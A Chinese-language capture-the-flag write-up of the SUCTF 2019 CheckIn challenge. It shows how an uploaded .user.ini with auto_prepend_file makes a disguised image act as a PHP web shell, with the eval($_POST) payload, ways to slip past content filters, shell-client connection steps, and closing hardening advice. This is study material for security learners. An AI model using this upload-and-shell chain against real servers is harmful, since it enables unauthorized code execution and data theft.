做过BUUCTF上文件上传专题的同学应该都听过[SUCTF 2019]CheckIn这道题。它表面上看就是一个普通得不能再普通的上传点起手式无非是改后缀、抓包、传马三件套但真正上手才知道php、php5、phtml、pht这一串全部被拒常规脚本文件一个都传不上来。很多人卡在这一步就放弃了结果去看writeup才发现原来这题考的根本不是“怎么绕过后缀黑名单”而是很少有人在上传题里想到的.user.ini配置文件利用。这篇文章我会按我自己的实际解题顺序把从信息收集、思路推导、payload构造到踩坑排查的完整过程都摊开来讲重点说清楚为什么.user.ini能在这个场景里生效、它和.htaccess到底什么关系以及什么环境条件下这套打法才成立。这道题非常适合两类人一类是刷完upload-labs、对文件上传的常见黑名单过滤已经比较熟想进阶理解“上传点到底还能从哪些配置层面突破”的CTF新手另一类是听说过auto_prepend_file、但没搞懂它怎么和文件上传组合成一条完整利用链的学习者。看完你不仅能复现这道题还能顺手把.user.ini这个知识点变成自己武器库里的常规选项。1. 拿到题目之后的一连串试探1.1 第一眼无非是个文件上传靶场打开题目环境页面非常简洁一个选择文件的输入框一个上传按钮旁边可能挂着几句提示。这种界面在CTF里见得太多了常规思路就是先传一个正常的jpg看返回再传一个php看返回通过错误反馈来判断后端的过滤逻辑。我第一次测的时候先随手写了个shell.php内容就是最基础的一句话木马后端秒回一句类似“后缀不允许上传”的提示。接着我把后缀改成php5、php7、phtml、pht、phar挨个试全部被拦。这说明过滤方式至少是一个覆盖面很广的黑名单后缀检查大概率不是只ban了php一个。到这一步很多人的第一反应是试.htaccess既然直接传php不行那就传一个Apache配置文件把所有文件都解析成PHP。但实测下来.htaccess同样上传失败。这时候题目里“服务器是Apache2”这个信息就变得很有意思了——Apache环境里不能直接用.htaccess最可能的原因是后端正则里明确过滤了这个文件名或者服务器配置里设置了AllowOverride None导致就算传上去也起不了作用。1.2 摸清过滤规则的边界上传题过滤规则往往不是一个“整文件校验”而是多个维度的叠加。我继续花了点时间做边界测试主要测了三类东西后缀、MIME类型、文件内容。后缀已经被ban得差不多MIME类型方面我试过把Content-Type改成image/jpeg发现并不影响上传结果说明没有强校验。文件内容方面我在一个正常图片后面拼上?php phpinfo();?再传结果后端直接报错提示内容不合法。这一步非常重要它告诉我两件事第一这题不仅拦后缀还检测文件内容里的PHP标签第二上传文件会被原样保存在服务器某个目录下文件名大概率没有被随机重命名。否则就没必要做内容检测了。那问题就变成了在一个不能上传任何可解析脚本、不能上传.htaccess、还会检查内容中?php字样的环境里怎么才能拿到代码执行我当时的思路是先确认上传目录下有什么可访问的入口文件。直接访问/upload/index.php发现确实存在一个默认的PHP入口页。这一点是整个后续利用的命门只要能让我写的代码在某个合法PHP文件执行前被加载就等于拿到了执行权限。1.3 从Apache联想到PHP配置层既然Apache层被堵死那就往PHP层想。我知道PHP在CGI/FastCGI模式下会读取一个叫.user.ini的目录级配置文件作用范围是它所在目录以及子目录。这个文件和.htaccess有点像但机制完全不同.htaccess是Apache服务器的配置文件由Apache解析.user.ini是PHP运行时的配置扩展由PHP进程在每次执行脚本前自动扫描目录并读取。.user.ini里有一个非常致命的配置项auto_prepend_file。它的语义是“在主脚本执行前自动包含指定文件”。如果把auto_prepend_file指向一个我们可控内容的普通图片文件那PHP每次执行上传目录里的index.php时就会先把图片文件当PHP代码包含进来。图片文件里只要写了可执行的一句话木马那就等于这个目录下凭空多了一个可执行脚本。这套思路的关键点有三个第一.user.ini本身必须是可上传的它的后缀是ini不在黑名单里第二上传目录下必须有一个能触发PHP执行的入口文件第三服务器上的PHP必须以CGI/FastCGI模式运行否则.user.ini不会被读取。按题目给的Apache环境通常搭配的是php-fpm刚好满足这个条件。2..user.ini为什么能当后门用2.1 先搞清楚配置文件的作用域很多刚接触这道题的人会把.user.ini和.htaccess混为一谈其实它俩是不同层次的配置。我打个比方.htaccess是“Apache酒店的装修规则”你一进门前台服务员Apache进程就要根据规则决定能不能给你换房而.user.ini是“PHP房间内的自助调节面板”只有你真正进入房间PHP进程启动之后才生效。PHP有一个配置作用域的概念从大到小依次是PHP_INI_SYSTEMphp.ini、PHP_INI_PERDIRphp.ini的目录段、.htaccess、.user.ini、PHP_INI_USER运行时用ini_set设置。.user.ini属于PHP_INI_PERDIR作用域它只能在CGI/FastCGI模式下被PHP读取Apache的mod_php模式是不会管的这也是很多人在本地用Apachemod_php复现这道题失败的原因。要查当前PHP是不是FastCGI模式最简单的方法是看php_sapi_name()的输出。CTF环境里看不见phpinfo的话可以观察返回头或者直接做实验传一个.user.ini上去看访问目录下其他PHP文件时有没有反应。有反应就是支持没反应就是不支持实践出真知。2.2auto_prepend_file的包含逻辑auto_prepend_file和auto_append_file是.user.ini里最有杀伤力的两个配置项。它们的作用是在当前脚本执行前/执行后自动include指定文件。这里的关键是这个include是PHP层面的include不是HTTP层面的转发所以被包含文件里的PHP代码会直接在当前进程上下文里执行。配置语法非常简单auto_prepend_file0.jpg注意等号两边不要加多余空格。这里的路径解析规则是如果写的是相对路径那么相对于.user.ini文件自身所在目录来解析。所以我只需要把0.jpg和.user.ini放在同一个上传目录下访问这个目录下任何PHP文件时都会自动包含0.jpg。这个机制原本是给开发者用的方便在每个脚本开头统一加载公共函数或做权限检查但它对攻击者来说简直是“后门开关”。上一个.user.ini再上一个图片马然后坐等别人来访问这个目录下的合法PHP脚本你的代码就跟着跑了。2.3 为什么.user.ini能绕过后缀检测后缀检测的逻辑基本就是查文件名扩展名是不是在黑名单里。.user.ini的扩展名是ini正常情况下黑名单里只会出现php、php3、phtml、jsp、asp这类脚本后缀很少有人会闲着没事把ini也ban掉。而且它是个隐藏文件文件名以点开头很多上传功能在处理时也不会特别限制这种命名。另外绝大多数上传题的过滤正则写的是类似preg_match(/\.php$/i, $filename)这种“匹配结尾”的逻辑.user.ini根本不沾边。这就给了我们一个稳定的入口只要内容别触发检测、后缀别在名单里它就一定能传上去。还有个容易被忽略的细节.user.ini文件内容本身也可能会被内容检测拦下来因为有些后端写正则时是全文扫描。原题里auto_prepend_file0.jpg这句能不能过取决于检测规则是只查?php还是查所有危险特征。像这种纯配置语句一般不会被拦但如果你把路径写得太诡异比如含有php://之类的关键字就要小心了。3. 一步步构造利用链并拿下flag3.1 第一步准备两个上传文件整个利用链只需要两个文件建议在本地先准备好再开浏览器。第一个文件是.user.ini内容精确到一行GIF89a auto_prepend_file0.jpg文件头写GIF89a是我个人的习惯主要目的是让内容检测在识别文件类型时不会直接判定为“非图片”而拒绝。有些上传点会用getimagesize或者finfo_file读文件头多了这6个字节很多检测就能蒙混过关。虽然原题可能不查文件头但养成这个习惯能少踩很多坑。第二个文件是0.jpg内容这样写GIF89a ?eval($_POST[x]);?这里用了?短标签而不是?php原因很简单很多题目的内容检测写的是preg_match(/\?php/i, $content)只过滤了标准的长标签而短标签?从PHP 5.4开始默认开启、不需要额外配置而且它不含?php这个连续字符串可以直接绕过。3.2 第二步先传配置再传图片马上传顺序建议是先传.user.ini再传0.jpg。因为PHP读取配置是在脚本执行时发生的两个文件都到位之前中间任何一次访问都有可能触发一个无效的auto_prepend_file虽然最多报个警告不会影响最终结果但为了干净操作还是按顺序来。上传.user.ini时如果后端返回成功文件名应该保持不变。如果返回的文件名变成了user.ini开头的点被去掉那这条路就废了因为PHP只认.user.ini这个名字。好在原题环境没有这个问题直接原始名保存。传0.jpg时要注意因为上传目录里可能不允许同名文件覆盖如果你前面测过同名文件最好换个名字比如1.jpg、shell.jpg然后同步修改.user.ini里的引用文件名。这一步虽然不起眼但是真的有人卡在“文件传了但配置引用错了文件”这种低级问题上。3.3 第三步访问入口触发包含两个文件都上传完成后现在去浏览器访问上传目录下的index.php。比如上传目录是/upload/那就访问http://目标地址/upload/index.php正常来说页面可能什么都不显示甚至可能只是空白或者返回一个空列表。但这一刻PHP已经把0.jpg当作脚本包含进去执行了。0.jpg里的?eval($_POST[x]);?会在index.php执行前被运行也就是说这个URL现在已经等价于一个一句话后门入口。然后用蚁剑或者菜刀连接URL填http://目标地址/upload/index.php连接密码设为x连接类型选PHP。如果一切顺利你会直接看到目标服务器的文件系统flag通常就在当前目录或网站根目录下基本是flag、flag.php之类直接读出来提交。完整利用链就是这样步骤操作关键点1上传.user.ini内容为auto_prepend_file0.jpg2上传0.jpg内容为GIF89a加一句话木马3访问/upload/index.php触发auto_prepend_file自动包含4蚁剑连接密码为x获取文件系统权限3.4 一句话木马的PHP标签选择这里单独再展开一下?这个短标签的选择逻辑。到底用哪种标签完全取决于后端的正则怎么写做题时建议按优先级多试几个如果过滤了?php不分大小写优先用?因为短标签不含这个字符串。如果连?都拦那说明正则可能写的是/\?/此时可以试试script languagephpeval($_POST[x]);/script但这种写法只在PHP 5.x下有效PHP 7开始已经移除了对它的支持能不能用全看目标环境。另一个可选项是%ASP风格标签但它要求asp_tags开启PHP 7.0以后默认关闭CTF环境里基本遇不到。还有一种情况是正则只检测文件开头若干字节那么把?php放在文件末尾也能绕过。不过原题检测的是全文这个技巧更多用在与getimagesize配合的场景。从做题效率看?是性价比最高的选择。经常有新手担心服务器没开short_open_tag这里要说清楚PHP 5.4之前?确实受short_open_tag控制但从5.4起这个开关被移除?永远可用。写一句话木马完全不需要担心这一点。4. 实际操作中遇到的坑与排查思路4.1 上传.user.ini后访问index.php毫无反应这是复现这道题最常见的现象。如果你确定两个文件都传上去了但访问入口什么效果都没有先从下面几个方向排查第一确认PHP的运行模式。这个方法最快本地搭建环境的话写个phpinfo()页面看Server API一栏如果是Apache 2.0 Handler说明是mod_php模式.user.ini不会生效如果是FPM/FastCGI才会读取。CTF在线环境里看不到phpinfo的话可以先用.user.ini写一个明显的配置比如display_errorsOn然后故意访问一个报错页面看有没有错误信息输出能输出就说明配置生效了。第二确认上传文件名没有变化。很多上传函数会重命名文件比如加上随机前缀或者把开头的点去掉。一旦文件名不是.user.ini整个利用链马上断裂。第三确认.user.ini内容格式。auto_prepend_file0.jpg这一行末尾不要有多余的空格或换行等号两边也不能有空格。虽然PHP配置本身对空格宽容但上传题的检测逻辑可能因为这行内容多了一个空格而判定类型异常直接在服务端被拦下。第四确认上传目录里真的有一个可触发的PHP文件。很多人以为传了.user.ini就万事大吉忘了auto_prepend_file只在PHP脚本执行时才生效。如果上传目录下没有任何.php文件或者访问的是/upload/0.jpg这种静态资源配置永远不会被触发。4.2 图片马里有?php就上传失败如果后端内容检测过滤了?php这个字符串最简单的做法就是把?php换成?。但有时候题目正则写得更严格直接匹配/\?/那短标签也会被拦。遇到这种题我的处理顺序一般是先换成?试试很多场景到这里就能过。如果不行看后端是否只检测文件开头。有的上传点用getimagesize校验只读取文件头的前几百字节那我就在GIF头后面塞一大堆注释字节把?php藏在注释之后让它落到检测范围之外。如果还是不行考虑用大小写混淆、插入特殊字符等方式做正则绕过。比如正则没加i修饰符时?PHP可能能过比如过滤字符串拼接的情况下写成?p\hp则要看是不是正则匹配。最后的保底方案是把一句话木马拆分成多个片段放到不同文件再用.user.ini的auto_prepend_file去包含一个用短标签写include的文件。不过这个复杂度高实际做题很少需要走到这一步。4.3 蚁剑连上了但看不到flag蚁剑连接成功但根目录找不到flag这种问题多半是权限和路径的问题。先看当前用户是不是www-data很多题目flag就放在当前目录下的隐藏文件里注意打开蚁剑的“显示隐藏文件”选项。还有一种是flag在数据库里或者需要执行特定命令才能拿到此时可以先试试命令执行框里跑一下find / -name *flag* 2/dev/null把全盘文件列表搜出来。另外一个小技巧连接时URL不要写死成index.php因为你不知道上传目录下还有没有其他PHP入口。如果index.php访问报错可以试试目录列表里看到的其他PHP文件或直接访问/upload/看有没有列目录。只要目录下任何一个PHP文件能被访问auto_prepend_file都会在它执行前包含图片马。4.4 本地复现的时候总是失败很多人在本地用phpstudy或者Apachemod_php环境复现这道题发现.user.ini完全不生效。这不是payload的问题是环境问题。本地要复现的话建议用Docker跑一个php:7.x-apache镜像并且把Apache切到FastCGI模式或者直接用php -S内置服务器配合PHP_INI_SCAN_DIR来模拟。最简单粗暴的方案是直接搭NginxPHP-FPM环境这种组合下.user.ini一定生效。还有一个细节要注意.user.ini只在当前目录及其子目录生效它不会向上递归。所以上传目录和入口PHP文件必须在同一个目录层级。如果你把.user.ini传到了/upload/却访问根目录的index.php那永远不会被包含。5. 从这道题延伸出去的一点思考5.1.user.ini比想象中更常用做完这道题之后我对文件上传的认知彻底变了黑名单过滤只能挡住“入口”但挡不住“配置”。.user.ini这种目录级配置文件只要上传点允许任意文件名就有可能在服务器上改掉PHP的默认行为。除了auto_prepend_file还可以关注auto_append_file、include_path、open_basedir这些配置项虽然利用难度各异但思路是相通的。在实际授权测试中.user.ini的利用场景通常出现在拿下一个上传点但没法传脚本文件同时目标目录下有明确可访问的PHP入口文件。这个条件比.htaccess要容易满足得多因为现在很多PHP站点都跑在NginxPHP-FPM下面.user.ini天然生效而Nginx本身不解析.htaccess所以传统Apache玩法反而失效了。切换思路到.user.ini往往有奇效。5.2 防御视角怎么堵住这类利用从防御者角度回头看这题给我们的警示也很直接。最有效的防护是把上传文件一律重命名为随机字符串并强制加上白名单后缀比如jpg、png同时上传目录不要开放PHP执行权限Nginx下可以这样配location ~* /upload/.*\.(php|php5)$ { deny all; }另外如果业务不需要目录级PHP配置可以显式关闭.user.ini的读取; php.ini user_ini.filename 这样PHP在扫描目录时就不会加载任何.user.ini文件。设置user_ini.cache_ttl到比较小的值也能减少配置缓存带来的风险。不过在CTF靶场里出题人当然不会做这些加固所以我们才有机会把整条链走通。5.3 刷题收获和个人体会我后来复盘这道题时最大的体会是文件上传的对抗不是一个“后缀名单”能概括的真正的复杂度在于你能在服务器上留下哪些“非脚本文件”以及这些文件能不能通过某种机制被当作脚本执行。.user.ini就是这种机制的教科书级例子它既不显眼又影响全局难怪SUCTF会选它作为考点。如果你也是做文件上传专题刷到这一题建议不要只看writeup自己把环境搭起来走一遍完整流程。特别是试试如果内容检测过滤了?时你还有什么办法这一步想通了之后遇到再奇葩的上传点都会多几条出路。
企业数字化 ERP 产品动态
相关推荐
MCP 协议安全实战:从工具投毒到认证绕过的攻防拆解 MCP 协议安全实战:从工具投毒到认证绕过的攻防拆解法律红线声明:本文所有攻击原理分析与复现示例仅用于授权渗透测试、自有实验环境与防御研究。工具描述投毒、认证绕过探测等技术在未授权环境下对他人系统使用,可能违反《网络安全法》《刑法… · 2026/9/26 19:21:12
JetBrains Mono 配置指南:VSCode 字体设置与中文支持全解析 1. 为什么程序员需要专门的编程字体?JetBrains Mono不是“好看就行” JetBrains Mono 是 JetBrains 官方为开发者量身打造的等宽字体,它解决的从来不是“字好不好看”这种表面问题,而是直击编码场景中长期被忽视却严重影响效率与健康的底层痛… · 2026/9/26 19:21:06
金融技术服务项目启动前的必要输入要素 我无法根据当前输入生成符合要求的博文。原因在于:项目标题为"financial-services",这是一个高度泛化的行业术语,本身不构成具体可执行的技术项目、实操任务或明确创作主题;项目正文为空,未提供任何功能描述… · 2026/9/26 19:21:06
退款承诺何时算数、何时不算?2026 逐条对照兑现条件边界,平台保障一次讲清 平台的退款承诺,是一份带条件的约定,而非一句笼统的保证。它写清了三件事:触发指标只认重复比例与 AIGC 检出比例,判断依据必须来自官方检测通道,审核周期为退款审核1-3个工作日。把这三件事看透,你才能判断… · 2026/9/26 20:02:55
Atlas 300V 24G上部署YOLO:从硬件认知到工程化落地全流程 我拿到这台服务器时,里面插着的正是Atlas 300V 24G。当时项目要求在这张卡上把YOLO跑起来,我在搜索引擎里也看到不少人问“atlas 300v 24g 是运算加速卡吗”。这里统一回答:它确实是运算加速卡,而且是一张专职干AI推理的加速卡&am… · 2026/9/26 20:02:55
用AI重构个人工作流:我如何把每天2小时的信息筛选压缩到10分钟 每天早上9点,我的第一件事不是写代码,而是——刷信息。打开浏览器,依次访问5个招标公告网站,手动翻找与团队业务相关的政策动态和项目机会。然后打开3个行业资讯站,筛选有价值的技术趋势。最后,把认为“可能… · 2026/9/26 20:02:55
侧动式跳汰机|中粗粒重选核心装备,脉动分层提升重矿物回收效率 侧动式跳汰机|中粗粒重选核心装备,脉动分层提升重矿物回收效率在重力选矿体系中,跳汰选矿依托矿物间比重差异实现分选,是应用历史久、经济性突出的重选工艺。侧动式跳汰机作为跳汰设备主流机型之一,依靠独特的侧部脉动… · 2026/9/26 20:02:55
AI编程工具ZCode被曝后台静默上传代码与Git历史,实测排查全过程 1. 事件背景与排查动机1.1 一个让我后背发凉的发现事情起因很简单。上周三晚上,我在给一个客户做代码审计的间隙,顺手打开网络监控面板看了一眼。结果发现一个让我瞬间清醒的现象:我的开发机上,一个AI编程工具的进程正在持续向外部… · 2026/9/26 20:02:55
LibreChat实战:开源自托管AI对话网关,统一管理多模型API 先聊点实在的:如果你跟我一样,电脑上开着五六个标签页,轮着在ChatGPT、Claude、Gemini这些官方网页之间来回切,问一个问题还要手动把历史记录搬来搬去,那LibreChat这个项目你一定会看上眼。LibreChat是一个开源、可自托… · 2026/9/26 20:02:30
数据库课后习题答案别硬背:当测试用例集刷,效率翻倍 简介:万常选版《数据库原理与设计》课后习题答案资源,覆盖第2至6章及第9章,适合正在学习关系模型、数据库建模、关系数据理论与模式求精的本科生、自学者作为复习与自测材料。压缩包共7个文件,含3个doc参考答案、2个sql示例脚本、… · 2026/9/26 0:00:21
OpenClaw 替代品?Hermes Agent 踩坑实录:macOS 飞书接入 TaoToken 配置 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 0:00:40
向下兼容与向上兼容:接口设计中的兼容性策略与工程实践 一次版本升级事故,是很多团队绕不过去的坎。线上环境里,服务端明明已经上线了新版接口,老的移动端还在照着旧文档传参数。请求一到网关,校验直接拒绝,用户操作失败,客服群炸了锅,开发群里开始互… · 2026/9/26 0:00:46